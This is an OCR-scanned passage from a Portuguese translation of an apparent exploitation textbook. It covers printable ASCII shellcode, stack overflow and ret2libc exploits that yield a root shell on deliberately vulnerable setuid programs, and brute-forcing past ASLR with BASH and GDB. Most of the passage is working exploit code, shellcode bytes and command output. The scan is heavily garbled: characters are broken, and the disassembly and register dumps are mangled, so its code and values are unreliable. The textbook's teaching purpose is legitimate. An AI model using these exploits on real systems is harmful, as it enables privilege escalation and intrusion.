for(i=0; i < len; i++) {
for(j=0; j < len; j++) |
for(k=0; k < len; k++) {
for(m=0; m < len; m++)

Hacking

if(a < 2) j = len+l;

if(a < 3) k = len+l;

if(a < 4) m = len+l;

try = t[z] + carry+mem[i]+mem(j]+mem(k]+mem[m];

single = (try & 0x000000ff);

if(single == 1[z])

{
carry = (try & 0x0000££00)>>8;
if(i < len) word[0][z] = mem[i];
if(j < len) word[1l][z] = mem[]j];
if(k < len) word[2][z] = mem[k];>
if(m < len) word[3][z] = mem[m];

I

i=3j=%k=m-= lent2;
flag++;
}
}
}
}
}

}
if(flag == 4) { // Se todos os 4 bytes forem encontrados

printf(«start: 0x%08x\n\n», last);
for(i=0; i < a; i++)
printf(« - 0x%08x\n», *((unsigned int *)word[i]));

printf(« \n»);
printf(«end: 0x%08x\n», tarq);
exit(0);

Quando esse programa é executado, dois parametros sao esperados
- os valores iniciais e finais para EAX. Para o shellcode do carregador im-
primivel, o EAX é zerado para o inicio, e o valor final deve ser 0x80cde189.

Esse valor corresponde aos Gltimos quatro bytes do shellcode.bin.

reader@hacking:~/booksrc $ gcc -o printable helper printable _helper.c
reader@hacking:~/booksrc $ ./printable helper 0 0x80cdel89
calculating printable values to subtract from EAX..

start: 0x00000000

0x346d6d25
- 0x256d6d25
- 0x2557442d
end: 0x80cdel89
reader@hacking:~/booksrc $ hexdump -C ./shellcode.bin
00000000 31 cO 31 db 31 c9 99 b0 a4 cd 80 6a Ob 58 51 68 |1.1.1...... j.XQh|

00000010 2f 2f 73 68 68 2f 62 69 6e 89 e3 51 89 e2 53 89 |//shh/bin..Q..S.|

00000020 el cd 80 [
00000023

reader@hacking:~/booksrc $ ./printable _ helper 0x80cdel89 0x53e28951
calculating printable values to subtract from EAX..
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start: 0x80cdel89

- 0x59316659
- 0x59667766
- 0x7a537a79

end:

0x53e28951

reader@hacking:~/booksrc $

420

A saida anterior mostra os valores imprimiveis necessarios para so-
brepor o registro EAX zerado para 0x80cdel89 (mostrado em negrito).
Em seguida, o EAX deve ser sobreposto novamente para 0x53e28951
para os proximos quatro bytes do shellcode (construindo para tras). Esse
processo é repetido até que todo o shellcode seja construido. O codigo
para o processo inteiro é mostrado a seguir.

printable.s

BITS 32

push esp Coloca o ESP atual
pop eax em EAX.

Subtrai os valores imprimiveis
para adicionar 860 a EAX.

sub eax,0x39393333
sub eax,0x72727550
sub eax,0x54545421

push eax ; Coloca EAX de volta ao ESP
pop esp ; Efetivamente, ESP = ESP + 860
and eax,0x454e4fda

and eax,0x3a313035 ; Zera EAX.

Subtrai os valores imprimiveis
para fazer EAX = 0x80cdel89.
(4ltimos 4 bytes de shellcode.bin)
Coloca esses bytes na pilha em ESP
sub eax,0x59316659 Subtrai mais valores imprimiveis
sub eax,0x59667766 para fazer EAX = 0x53e28951.

sub eax,0x7a537a79 ; (préximos 4 bytes do shellcode a partir do fim)
push eax

sub eax,0x25696969

sub eax,0x25786b5a

sub eax,0x25774625

push eax ; EAX = 0xe3896e69

sub eax,0x366e5858

sub eax,0x25773939

sub eax,0x25747470

push eax ; EAX
sub eax,0x25257725

sub eax,0x71717171

sub eax,0x5869506a

push eax ; EAX = 0x732f2£68
sub eax,0x63636363

sub eax,0x44307744

sub eax,0x7a434957

sub eax,0x346d6d25
sub eax,0x256d6d25
sub eax,0x2557442d
push eax

0x622£6868

[
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push eax ; EAX = 0x51580b6a
sub eax,0x63363663

sub eax,0x6d543057
push eax ; EAX
sub eax,0x54545454

sub eax,0x304e4e25
sub eax,0x32346£25

sub eax,0x302d6137
push eax ; EAX = 0x99c931db

sub eax,0x78474778

sub eax,0x78727272

sub eax,0x774f4661 N
push eax ; EAX = 0x31c03190

sub eax,0x41704170

sub eax,0x2d772d4e

sub eax,0x32483242

push eax ; EAX = 0x90909090
push eax

push eax ; Constréi um sled NOP
push eax

push eax

push eax

push eax

push eax

push eax

push eax

push eax

push eax

push eax

push eax

push eax

push eax

push eax

push eax

push eax

push eax

push eax

push eax

0x80cdadb0

No final, o shellcode foi construido em algum lugar depois do coédigo
carregador, muito provavelmente deixando uma lacuna entre o shellco-
de recém-construido e o cédigo carregador sendo executado. Pode-se
fazer uma ponte dessa lacuna construindo um sled NOP entre o cédigo
carregador e o shellcode.

Mais uma vez, as instrugoes sub sao usadas para estabelecer o EAX para
0x90909090, e o EAX é inserido repetidamente na pilha. Com cada instrugao
push, quatro instrugoes NOP sao acrescentadas no inicio do shellcode.
Eventualmente, essas instrugées NOP serao construidas logo depois das
instrugdes push sendo executadas do codigo carregador, permitindo que
o EIP e o programa de execugao estourem pelo sled para o shellcode.

Isso resulta em uma string ASCIl imprimivel, com cédigo de maquina
executavel em double.
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reader@hacking:~/booksrc $ nasm printable.s
reader@hacking:~/booksrc $ echo $(cat ./printable)
Hxlwwmwlmsﬁhf_H.H:H_m./w_uozwwmown|w:.:,:blw::.:w||ozwmtmm“_.xrmimxlvﬁmumlvwwo\olexodnwwaam:
xx:mlwws_wJuwnwmM|wzww|ann5|“_.m..ﬁxMIoooonosﬁuUnSHnNm;0mm0|zoﬂam..aeeeuwZZona\oo»mbm:
0P-xGGx-rrrx-aFOwP-pApA-N-w-—

B2H2PPPPPPPPPPPPPPPPPPPPPP

reader@hacking:~/booksrc $

Esse shellcode ASCIl imprimivel pode agora ser usado para transportar
secretamente o shellcode real apos a rotina de validacdo de entrada do
programa update_info.

reader@hacking:~/booksrc $ ./update _info $(perl -e ‘print “AAAA”x10’) $(cat
./printable)

[DEBUG]: desc argument is at Oxbffff910

Segmentation fault

reader@hacking:~/booksrc $ ./update _info $(perl -e ‘print M\x10\x£I\x £\
xbf”x10’) $(cat ./

printable)

[DEBUG]: desc argument is at Oxbffff910

Updating product ########### with description ‘TX-3399-Purr-!TTTP\%JONES501:-
wEE»lwEBw||U2wm«mHmnmzmms%NMlewwww|waW|wﬁiwmuxx:mlwmzwnvﬁnwmnwiww:@ﬂ@@n
jPiXP-cccc-DwOD-WICZP-c66c-WOTmMPTTTT- $NNO-%042-7a-0P-XGGX~rrrx-aFOwP-pApA-N-w-
-B2H2PPPPPPPPPPPPPPPPPPPPPP’

sh-3.2# whoami

root

sh-3.2#

Legal. Caso vocés nao tenham sido capazes de seguir tudo que acabou
de acontecer |4, a saida a seguir mostra a execugao do shellcode no GDB.
Os enderecos da pilha serdo um pouco diferentes, alterando os enderegos
de retorno, mas isso nao afetara o shellcode imprimivel —isso calcula sua
localizagcéo baseado no ESP, concedendo essa versatilidade.

reader@hacking:~/booksrc $ gdb -q ./update _ info

Using host libthread _db library “/1ib/tls/i686/cmov/libthread _db.so.1”.
(gdb) disass update _ product _ description

Dump of assembler code for function update _product _description:
0x080484a8 <update _product _description+0>: push ebp

0x080484a9 <update _product _ description+l>: mov ebp,esp

0x080484ab <update _ product _description+3>: sub esp,0x28

0x080484ae <update _product _ description+6>: mov  eax,DWORD PTR [ebp+8]
0x080484bl <update _ product _ description+9>: mov DWORD PTR [esp+4],eax
0x080484b5 <update _product _ description+13>: lea eax, [ebp-24]
0x080484b8 <update _ product _ description+16>: mov DWORD PTR [esp],eax
0x080484bb <update _product _description+19>: call 0x8048388 <strcpy@plt>
0x080484c0 <update _ product _ description+24>: mov  eax,DWORD PTR [ebp+12]
0x080484c3 <update _ product _description+27>: mov DWORD PTR [esp+8],eax
0x080484c7 <update _ product _description+31>: lea eax, [ebp-24]
0x080484ca <update _ product _description+34>: mov DWORD PTR [esp+4],eax
0x080484ce <update _ product _description+38>: mov DWORD PTR [esp],0x80487a0
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0x080484d5 <update _ product _ description+45>: call 0x8048398 <printf@plt>
0x080484da <update _ product _ description+50>: leave

0x080484db <update _ product _ description+51>: ret

End of assembler dump.

(gdb) break *0x080484db

Breakpoint 1 at 0x80484db: file update _info.c, line 21.

(gdb) run $(perl -e ‘print “AAAA”x10’) S$(cat ./printable)

starting program: /home/reader/booksrc/update _ info $(perl -e ‘print “AAAA”x10")
$(cat ./

printable)

[DEBUG]: desc argument is at Oxbffff8fd /
program received signal SIGSEGV, Segmentation fault.

0xb7£f06bfb in strlen () from /lib/tls/i686/cmov/libc.so.6

(gdb) run $(perl -e ‘print “\xfd\xf8\xff\xbf”x10’) $(cat ./printable)
The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /home/reader/booksrc/update _info $(perl -e ‘print “\xfd\
xf8\xff\xbf”x10")

$(cat ./printable)

[DEBUG]: desc argument is at Oxbffff8fd

Updating product # with description ‘\TX-3399-Purr-!TTTP\%$JONE%501:-%mm4-S$mm%—
-DWSP-Yf1Y-fwfYyzSzP-iii%-2kx%-%Fw%P-XXn6-99w%-ptt%P-%w%%-qggq-jPiXP-cccc—
DwOD-WICZP-c66c-WOTMP-TTTT-%$NNO-%042-7a-0P-xGGx-rrrx-aFOwP-pApA-N-w--B2H2PPPP
PPPPPPPPPPPPPPPPPP’

Breakpoint 1, 0x080484db in update _product _description (
id=0x72727550 <Address 0x72727550 out of bounds>,
desc=0x5454212d <Address 0x5454212d out of bounds>) at update _info.c:21
21 }
(gdb) stepi
O0xbffff8fd in 22 ()
(gdb) x/9i Seip

Oxbffff8fd: push esp

Oxbffff8fe: pop eax

Oxbffff8ff: sub eax,0x39393333

Oxbff£f£904: sub eax,0x72727550

Oxbff££909: sub eax,0x54545421

Oxbffff90e: push eax

Oxbffff90f: pop esp

Oxbff£f£f910: and eax,0x454e4fda

Oxbff££f915: and eax,0x3a313035

(gdb) i r esp

esp Oxbff££6d0 Oxbfff£6d0
(gdb) p /x $esp + 860

$1 = Oxbffffa2c

(gdb) stepi 9

Oxbffff9la in 2?2 ()

(gdb) i r esp eax

esp Oxbffffa2c Oxbffffa2c
eax 0x0 0

(gdb)
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As primeiras nove instrucdes adicionam 860 ao ESP e zeram 0 re-
gistro EAX. As proximas oito instrugdes colocam os Gltimos oitg bytes
do shellcode para a pilha em pedacos de quatro bytes. Esse processo ¢
repetido nas préximas 32 instrugbes para construir o shellcode inteirg

sobre a pilha.

(gdb) x/8i $eip

Oxbffff9la: sub  eax,0x346d6d25
Oxbffffolf: sub eax,0x256d6d25
Oxbff££924: sub eax,0x2557442d
Oxbfff£929: push eax
Oxbffff92a: sub eax,0x59316659
Oxbfff£92f: sub  eax,0x59667766
Oxbffff934: sub eax,0x7a537a79
Oxbfff£939: push eax

(gdb) stepi 8

0xbff££f9c4 in 2? ()

(gdb) x/24x Oxbffff9ba

oxbffffoba: 0x50505050 0x50505050 0x50505050 0x50505050
oxbffff9ca: 0x50505050 0x00000050 0x00000000 0x00000000
oxbffff9da: 0x90900000 0x90909090 0x90909090 0x90909090
oxbfffflea: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffofa: 0x90909090 0x90909090 0x90909090 0x31909090
oxbffffala: 0x31db31cO0 0xa4b099c9 0x0b6a80cd 0x2£685158
(gdb) stepi 5

0xbff££f9c9 in 22 ()

(gdb) x/24x Oxbffff9ba

0xbffffba: 0x50505050 0x50505050 0x50505050 0x90905050
0xbffff9ca: 0x90909090 0x90909090 0x90909090 0x90909090
Oxbffffoda: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff9ea: 0x90909090 0x90909090 0x90909090 0x90909090
Oxbffff9fa: 0x90909090 0x90909090 0x90909090 0x31909090
Oxbffffala: 0x31db31cO0 0xa4b099c9 0x0b6a80cd 0x2£685158
(gdb)

Oxbffff93a in 2?2 ()
(gdb) x/4x $esp

Oxbffffa24: 0x53e28951 0x80cdel89 0x00000000 0x00000000
(gdb) stepi 32

0xbffff9ba in 22 ()

(gdb) x/5i $eip

OxbffffOba: push eax

Oxbffff9bb: push eax

Oxbffffobc: push eax

Oxbffffobd: push eax

Oxbffffobe: push eax

(gdb) x/16x $esp

0xbEfffa0d: 0x90909090 0x31c03190 0x99c931db 0x80cdadb0
Oxbffffald: 0x51580b6a 0x732£2£68 0x622£6868 0xe3896e69
Oxbffffa24: 0x53e28951 0x80cdel89 0x00000000 0x00000000
Oxbffffa3d: 0x00000000  0x00000000 0x00000000 0x00000000
(gdb) i r eip esp eax

eip 0xbffff9ba Oxbffffoba

esp Oxbffffa04 Oxbffffal4

eax 0x90909090 -1869574000

(gdb)

Agora com o shellcode completamente construido sobre a pilha, o EAX
€ configurado para 0x90909090. Ele é colocado na pilha repetidamente
para construir um sled NOP para fazer a ponte entre o final do cédigo
carregador e o shellcode recém-construido.

(gdb) x/24x Oxbffff9ba

OxbffffIba: 0x50505050  0x50505050 0x50505050 0x50505050
Oxbffff9ca: 0x50505050  0x00000050 0x00000000 0x00000000
0xbffffoda: 0x00000000 0x00000000 0x00000000 0x00000000
Oxbffffea: 0x00000000 0x00000000 0x00000000 0x00000000
Oxbffff9fa: 0x00000000 0x00000000 0x90900000 0x31909090
Oxbffffala: 0x31db31c0 0xa4b099c9 0x0b6a80cd 0x2f685158

(gdb) stepi 10
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Agora o ponteiro da execucao (EIP) pode estourar na ponte do NOP
em direcéo ao shellcode construido.

O shellcode imprimivel consiste em uma técnica que pode abrir al-
gumas portas. Essa e todas as outras técnicas discutidas estdo apenas
construindo blocos que podem ser usados em um numero infinito de
combinacoes. Seus aplicativos exigem alguma ingenuidade de sua parte.
Seja esperto e os supere em seu proprio jogo.

0x6a0 Dificultando as medidas defensivas

As técnicas de exploragao demonstradas nesse capitulo ja existem
hé anos. Foi apenas uma questao de tempo para que os programadores
aparecerem com alguns métodos de protecao mais inteligentes. O uso
de um exploit pode ser generalizado como um processo de trés passos:
primeiro, algum tipo de corrupcado de memoria; entédo, uma mudanga no
fluxo de controle; e, finalmente, a execucao do shellcode.

0x6b0 Pilha nao-executavel

A maior parte dos aplicativos nunca precisara executar qualquer coisa
na pilha, entao uma defesa 6bvia contra os exploits de buffer overflow seria
fazer uma pilha nao-executavel. Quando isso é feito, o shellcode inserido
em algum lugar sobre a pilha é basicamente inutil. Esse tipo de defesa
bloquearé a maioria dos exploits 14 fora, e esta se tornando mais popular.
A Gltima versao do OpenBSD tem uma pilha nao-executavel por padréo, e
ela esta disponivel no Linux através do PaX, um patch para o kernel.
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reader@hacking:~/booksrc $
reader@hacking:~/booksrc $
reader@hacking:~/booksrc $ sudo chmod u+s ./vuln
reader@hacking:~/booksrc $
-rwsr-xr-x 1 root reader 6
reader@hacking:~/booksrc $

426

0x6b1 ret2libc

Claro que existe uma técnica usada para escapar dessa medida defen-
siva protetora. Essa técnica é conhecida como returning into libc. A libc
é uma biblioteca C padrao que contém varias funcoes basicas, tais como
printf() e exit(). Essas fungdes sdo compartilhadas, entdo qualquer
programa que utiliza a funcdo printf() direciona a execug¢ao para a lo-
calizagao apropriada na libc. Um exploit pode fazer exatamente a mesma
coisa e direcionar uma execugao do programa para uma determinada
funcéo na libc. A funcionalidade de tal exploit € limitada pelas fungées na
libc, o que é uma restrigao significativa quando comparada ao arbitrario
shellcode. Contudo, nada é executado sempre na pilha.

0x6b2 Retorno ao system()

Uma das fungdes libc de retorno mais simples é a system (). Conforme
vocé a chama, essa fungao recebe um Unico parametro e o executa com
/bin/sh. Esse método precisa de apenas um parametro, que faz um alvo
facil. Para esse exemplo, um programa vulneravel simples seré usado.

vuln.c

int main(int argc, char *argv([])
{
char buffer([5];
strcpy(buffer, argv([l]);
return 0;

Obviamente, esse programa precisa ser compilado e o setuid estar
como root para que ele esteja realmente vulneravel.

gcc -o vuln vuln.c
sudo chown root ./vuln

1ls -1 ./vuln
600 2007-09-30 22:43 ./vuln

A ideia geral é forcar o programa vulneravel a resultar uma protecao,
sem executar qualquer coisa sobre a pilha, retornando na funcéo libc
system(). Se essa funcdo é carregada com os parametros de /bin/sh,
isso deveria resultar em uma shell.

Primeiro, a localizagao da funcao system () nal/ibc deve ser determina-
da. Isso sera diferente para todo sistema, mas uma vez que a localizacao
é conhecida, ela permanecera a mesma até que a /ibc seja recompilada.

Hacking

Uma das maneiras mais faceis de encontrar a localizagao de um método
Jibc é criar um programa modelo e depuré-lo, como este:

reader@hacking:~/booksrc $ cat > dummy.c

int main()

{ system(); }

reader@hacking:~/booksrc $ gcc -o dummy dummy.C
reader@hacking:~/booksrc $ gdb -g ./dummy

Using host libthread _db library “/1lib/tls/i686/cmov/libthread _ db.so.l”.

(gdb) break main
Breakpoint 1 at 0x804837a ~
(gdb) run

Starting program: /home/matrix/booksrc/dummy

Breakpoint 1, 0x0804837a in main ()

(gdb)
$1 =
(gdb)

print system
{<text variable, no debug info>} 0xb7ed0d80 <system>
quit

Aqui, é criado um programa modelo que utiliza afungéo system(). De-
pois que é compilado, o binario é aberto em um depurador e um breakpoint
é definido no comego. O programa ¢é executado, e entao a localizacao da
funcao system () € exibida. Nesse caso, 0o método system() esté localizado
em 0xb7ed0d80.

Munidos desse conhecimento, podemos redirecionar a execugao do
programa nafungao system() da/ibc. Contudo, o objetivo aqui éfazer com
que o programa vulneravel execute o system (“/bin/sh”) para fornecer
uma shell, assim um parametro deve ser carregado. Quando retornando
para dentro da/ibc, o endereco de retorno e os parametros do metodo sao
lidos fora da pilha na qual deveria ser de um formato familiar: o endereco
de retorno seguido pelos pardmetros. Sobre a pilha, a chamada return-
into-libc deve se parecer com alguma coisa assim:

—m:amumno da mcsnmc_m:ammmno de n@nOn:o_
L n L i i i

Pardmetro 1 _ Parametro 2 _ Parametro 3 ... \_
L rd L . i i h L .

Diretamente ap6s o endereco da funcao /ibc desejada esta o endereco
para a qual execugéo deve retornar depois da chamada /ibc. Depois disso,
todos os parametros da fung@o aparecem na sequéncia.

Nesse caso, isso nao importa realmente onde a execugao retorna para
depois da chamada /ibc, desde que seja aberta uma protecao interativa. Por
esse motivo, esses quatro bytes podem ser apenas um valor que segure
no local de FAKE. Ha apenas um parametro, que deveria ser um ponteiro
para a string /bin/sh. Essa string pode ser armazenada em qualquer lugar
dameméria; uma variavel de ambiente é um excelente candidato. Na saida
a seguir, a string é prefixada com varios espagos. Isso atuara similarmente
a um sled NOP, fornecendo-nos algum escopo de negociagao, uma vez
que 0 system(“ /bin/sh”) é o mesmo que system (™ /bin/sh”).
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2ader@hacking:~/booksrc $ export BINSH=” /bin/sh”
2ader@hacking:~/booksrc $ ./getenvaddr BINSH ./vuln
INSH will be at Oxbffffe5b

2ader@hacking:~/booksrc $

Assim, o enderego do system() é 0xb7ed0d80, e 0 endereco para 3
string /bin/sh serd 0xbffffe5b quando o programa for executado. Isso
significa que o enderego de retorno da pilha deveria ser transcrito com
uma série de enderegos, comegando com 0xb7ecfd80, seguido pelo FakE
(visto que ndo importa com a execugao depois da chamada do systemn 0O);
e concluindo com 0xbffffe5b.

Uma rapida busca binaria mostra que o enderego de retorno provavel-
mente € sobrescrito pela oitava palavra da entrada do programa, assim, sete
palavras da informagao modelo sao usadas para espacar na exploragao.

reader@hacking:~/booksrc $ ./vuln $(perl -e ‘print “ABCD”x5’)
reader@hacking:~/booksrc $ ./vuln $(perl -e ‘print “ABCD”x10’)
Segmentation fault

ceader@hacking:~/booksrc $ ./vuln $(perl -e ‘print “ABCD”x8’)
Segmentation fault

creader@hacking:~/booksrc $ ./vuln $(perl -e ‘print “ABCD”x7’)
Illegal instruction

reader@hacking:~/booksrc $ ./vuln $(perl -e ‘print «ABCD»x7 . «\x80\x0d\xed\
xb7FAKE\x5b\xfe\xff\xbf»’)

sh-3.2# whoami

root

sh-3.2#

A exploracao pode ser expandida por meio do encadeamento das /ibc,
se necessario. O endereco de retorno de FAKE nesse exemplo pode ser
alterado para direcionar a execugao do programa. Chamadas //b¢ adicio-
nais podem ser feitas, ou a execugdo pode ser direcionada para outra
secao Util nas instrugdes existentes do programa.

0x6¢c0 Espaco de pilha aleatério

Outra medida defensiva de proteg¢ao tenta uma abordagem um pouco
diferente. Ao invés de evitar a execugao na pilha, essa medida defensiva
randomiza o layout de meméria da pilha. Quando o layout da memoria é
randomizado, o invasor serd incapaz de retornar a execugdo no shellcode
em espera, ja que ele nao sabera onde ela esta.

Essa medida defensiva tem sido ativada por padrao no kernel Linux
desde a versédo 2.6.12, mas o LiveCD deste livro foi configurado com ela
desativada. Para ativar essa protegdo novamente, defina o echo 1 para
0 arquivo de sistema /proch como mostrado a seguir.
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reader@hacking:~/booksrc $ sudo su -

root@hacking:~ # echo 1 > /proc/sys/kernel/randomize _va _ space
root@hacking:~ # exit

logout

reader@hacking:~/booksrc $ gcc exploit notesearch.c
reader@hacking:~/booksrc $ ./a.out

[DEBUG] found a 34 byte note for user id 999

[DEBUG] found a 41 byte note for user id 999

||||||| [ end of note data ]-------

reader@hacking:~/booksrc $

N
Com essa medida defensiva ativada, a exploracdo do notesearch nao
funciona mais, uma vez que o layout da pilha esta randomizado. Sempre
que um programa iniciar, a pilha comega em um local aleatério. O exemplo
seguinte demonstra isso.

aslr_demo.c

#include <stdio.h>

int main(int argc, char *argv([]) {
char buffer(50];

printf(“buffer is at %$p\n”, &buffer);

if(argc > 1)
strcpy(buffer, argv([l]);

return 1;

}

Esse programa possui uma vulnerabilidade de estouro de buffer 6bvia.
No entanto, com o ASLR ativado, a exploragdo nao é téao facil.

reader@hacking:~/booksrc
reader@hacking:~/booksrc
buffer is at Oxbffbbf90
reader@hacking:~/booksrc
buffer is at Oxbfedde20
reader@hacking:~/booksrc
buffer is at 0Oxbfc7ac50
reader@hacking:~/booksrc
buffer is at 0xbf9%a4920
Segmentation fault
reader@hacking:~/booksrc

$ gcc -g -o aslr _demo aslr _demo.c
$ ./aslr _demo

$ ./aslr _demo
$ ./aslr _demo

$ ./aslr _demo $(perl -e ‘print “ABCD”x20")

$

Observe como a localizagao do buffer na pilha muda com cada exe-
cucao. Ainda podemos injetar o shellcode e corromper a memoria para
sobrescrever o endereco de retorno, mas nao sabemos onde o shellcode
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esta na memoria. A randomizagdo muda a localizagéo de tudo na pilha > then -
. § " ’ ' Ty t . ) .
incluindo as variaveis do ambiente. > echo Correct offset to return address is $i words
> break
> fi
reader@hacking:~/booksrc $ export SHELLCODE=$(cat shellcode.bin) > done

reader@hacking:~/booksrc $ ./getenvaddr SHELLCODE ./aslr _ demo
SHELLCODE will be at 0xbfd919c3

reader@hacking:~/booksrc $ ./getenvaddr SHELLCODE ./aslr _ demo
SHELLCODE will be at 0xbfe499c3

reader@hacking:~/booksrc $ ./getenvaddr SHELLCODE ./aslr _ demo
SHELLCODE will be at Oxbfcae9c3

reader@hacking:~/booksrc $

reader@hacking:~/booksrc $ ./aslr _demo test
buffer is at 0xbfb80320
reader@hacking:~/booksrc $ echo $?

1

reader@hacking:~/booksrc $ ./aslr _demo $(perl -e ‘print “AAAA"x50)
buffer is at Oxbfbe2ac0

Segmentation fault

reader@hacking:~/booksrc $ echo $?

139

reader@hacking:~/booksrc $

reader@hacking:~/booksrc $ for i in $(seq 1 50)

>

>
>
>
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echo “Trying offset of $i words”
./aslr _demo $(perl -e “print ‘AAAA'x$i”)

Trying offset of 1 words
puffer is at 0xbfc093b0
Trying offset of 2 words
puffer is at 0Oxbfd0Olca0
Trying offset of 3 words
buffer is at 0Oxbfed5de0
Trying offset of 4 words
puffer is at 0xbfdcd560
Trying offset of 5 words
buffer is at 0xbfbf5380
Trying offset of 6 words
buffer is at Oxbffce760
Trying offset of 7 words
buffer is at Oxbfaf7a80
Trying offset of 8 words
buffer is at Oxbfad4e9d0
Trying offset of 9 words
buffer is at Oxbfacca50
Trying offset of 10 words
buffer is at 0xbfd08c80
Trying offset of 11 words
buffer is at Oxbff24eal
Trying offset of 12 words
buffer is at Oxbfaf9a70
Trying offset of 13 words
buffer is at Oxbfe0fd80
Trying offset of 14 words
buffer is at 0xbfe03d70
Trying offset of 15 words
buffer is at 0xbfc2fb90
Trying offset of 16 words
buffer is at 0xbff32a40
Trying offset of 17 words
buffer is at 0xbf9da940
Trying offset of 18 words
buffer is at 0xbfd0cc70
Trying offset of 19 words
buffer is at 0xbf897ff0
Illegal instruction

==> Correct offset to return address is 19 words
reader@hacking:~/booksrc $

Esse tipo de protecao pode ser muito eficiente na interrupgao de
exploits de invasores medianos, mas isso nem sempre é suficiente para
impedir um hacker determinado. Vocé poderia imaginar um modo de
explorar esse programa sob essas condicdes com sucesso?

0x6¢1 Investigacoes com BASH e GDB

Uma vez que o ASLR nao interrompe a corrupgao da memoria, pode-
mos ainda usar um script BASH com funcionalidades do brute-force para
compreender o deslocamento para o endereco de retorno a partir do co-
meco do buffer. Quando um programa fecha, o valor retornado da funcéo
principal é o status de saida. Essa posi¢ao é armazenada na variavel BASH

2, que pode ser usada para detectar se o.programa “quebrou”.

Utilizando a declaracao légica if do BASH, podemos parar nosso
script de brute-force quando ele provoca o crash do alvo. A declaragao
if bloqueada é contida entre as palavras-chaves then e if; 0 espaco em
branco na declaragao é requerido. A declaracéo break diz ao script para

b | : Conhecer o deslocamento adequado nos permitira sobrescrever o ende-
quebrar o loop for.

reco de retorno. Contudo, ainda ndo podemos executar o shellcode ja que a
localizagao esta randomizada. Utilizando o GDB, vamos observar o programa
apenas quando estiver prestes a retornar a partir da funcao principal.

reader@hacking:~/booksrc $ gdb -q ./aslr _demo

[ $2 '= 1] Using host libthread db library “/lib/tls/i686/cmov/libthread _ db.so.l”.
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(gdb) disass main
Dump of assembler code for function main:

0x080483b4 <main+0>: push b

0x080483b5 <main+1>: mov MUU

0x080483b7 <main+3>: sub e w~MmMW

0x080483ba <main+6>: and mM@~oxmmmmm

0x080483bd <main+9>: mov Poxo o
0x080483c2 <main+14>: sub me~ :

Nxmwo&wﬁ <main+l6>:  lea mwm,wwwuhﬁ

: : ’

XORISIh <mainozie; ey aORD FTR lespre] eex
PR femarong “ mov DWORD PTR [esp],0x80484d4
e Vs b call 0x80482d4 <printf@plt>
PRty Aamw:+wmvn cmp DWORD PTR [ebp+8],0x1
onoaugean Ame=+wmv" jle 0x80483f4 <main+64>
ooy m+:+bwv" mov eax,DWORD PTR [ebp+12]
Seatntes A5m+:+»bv" add eax,0x4

0x080483e5 AHMM“HMMWW mow SRRD, FTE. one i s
NxomOAwwmw ABmH:+mva %MM MMMNMMMMWMNwmmﬁ+¢_~mmx

: ’

Ox0R0ISI0E <mainids vy LMOND PIR [espleax
0x080483f4 ASmHs+m»vM MMWH Mxmomwwn» R
0x080483f9 <main+69>: leave e
0x080483fa <main+70>: ret

End of assembler dump.

(gdb) break *0x080483fa

Breakpoint 1 at s £4

dtil at 0x80483fa: file aslr _demo.c, line 12.

qmﬁoq:cqmm_mﬂuo_i € definido na Gltima instrugdo de main. Essa instrugao
mxn_omeov P ao endereco de retorno armazenado na pilha. Quando um
c uam_‘%: Mmmo.ﬁsw_o endereco de retorno, essa é a Gltima instrugao em que
original tem o controle. Vamos d
; ar uma olhada nos regi
A, et ] registros
ponto no cddigo para algumas tentativas diferentes de execugao

(gdb) run
Starting program: /ho
2 : me/reade
buffer is at Oxbfal31a0 r/booksrc/aslr _ demo

Breakpoint 1, 0x080 i i
o ’ 483fa in main (argc=134513588, argv=0x1) at aslr demo c:12
(gdb) info registers

eax 0x1 1

ecx 0x0 0

edx 0xb7£000b0 -1209007952
ebx Oxb7efeff4 -1209012236
esp Oxbfal3lec Oxbfal3lec
Mcm Oxbfal3248 0xbfal3248
si 0xb7

o o mmmnmm -1208836896
eip 0x80483fa

eflags 0x200246 [ PF N%xwmhmwm% credne
cs 0x73 115

ss 0x7b 123
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ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) run

The program being debugged has been started already.

start it from the beginning? (y or n) y
starting program: /home/reader/booksrc/aslr _ demo

puffer is at Oxbfd8e520

Breakpoint 1, 0x080483fa in main (argc=134513588, argv=0x1l) at aslr _demo.c:12
12 } N

(gdb) i r esp

esp Oxbfd8e56¢c 0xbfd8e56¢c

(gdb) run

The program being debugged has been started already.

start it from the beginning? (y or n) y
Starting program: /home /reader/booksrc/aslr _ demo

puffer is at Oxbfaada4l

Breakpoint 1, 0x080483fa in main (argc=134513588, argv=0xl) at aslr _demo.c:12

12 }

(gdb) i r esp

esp Oxbfaada8c Oxbfaada8c
(gdb)

Apesar da randomizagao entre as execugoes, note como o endereco
em ESP é similar ao endereco do buffer (mostrado em negrito). Isto faz
sentido, uma vez que o ponteiro aponta para a pilha e o buffer esta na
pilha. O valor de ESP e o endereco do buffer sdo mudados pelo mesmo
valor aleatério, porque eles sao relativos.

O comando stepi do GDB avanga na execugao por uma Unica instru-
¢ao. Usando esse comando, podemos checar o valor de ESP depois da

instrugao ret ter sido executada.

(gdb) run
The program being debugged has been started already

Start it from the beginning? (y or n) y
Starting program: /home/reader/booksrc/aslr _ demo

buffer is at OxbfdlccbO
Breakpoint 1, 0x080483fa in main (argc=134513588, argv=0x1) at aslr _demo.c:12

12 }

(gdb) i r esp

esp Oxbfdlccfc Oxbfdlccfc

(gdb) stepi

Oxb7leddebc in _ _libc _start _main () from /1ib/t1s/i686/cmov/1libc.s0.6
(gdb) i r esp

esp 0xbfdlcd00 0xbfd1cd00

(gdb) x/24x Oxbfdlccb0

0xbfdlccb0: 0x00000000 0x080495cc 0xbfdlccc8 0x08048291
OxbfdlcccO: 0xb7£3d729 0xb7£74££4 Oxbfdlccf8 0x08048429
Oxbfdlccd0: 0xb7£74££4 0xbfdlcd8c Oxbfdlccf8 0xb7£74£f4
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Oxbfdlcce0: 0xb7£937b0 0x08048410 0x00000000 0xb7£74££4
Oxbfdlccf0: 0xb7£9fcel 0x08048410 Oxbfdlcd58 0xb7e4debc
0xbfdlcd00: 0x00000001 0xbfdlcd84 Oxbfdlcd8c 0xb7fa0898
(gdb) p 0xbfdlcd00 - Oxbfdlccb0

$1 = 80

(gdb) p 80/4

$2 = 20

(gdb)

Um passo Gnico mostra que a instrugao ret aumenta o valor de ESP
em 4. Subtraindo o valor de ESP a partir do enderego do buffer, desco-
brimos que o ESP est4 apontando 80 bytes (ou 20 palavras) a partir do
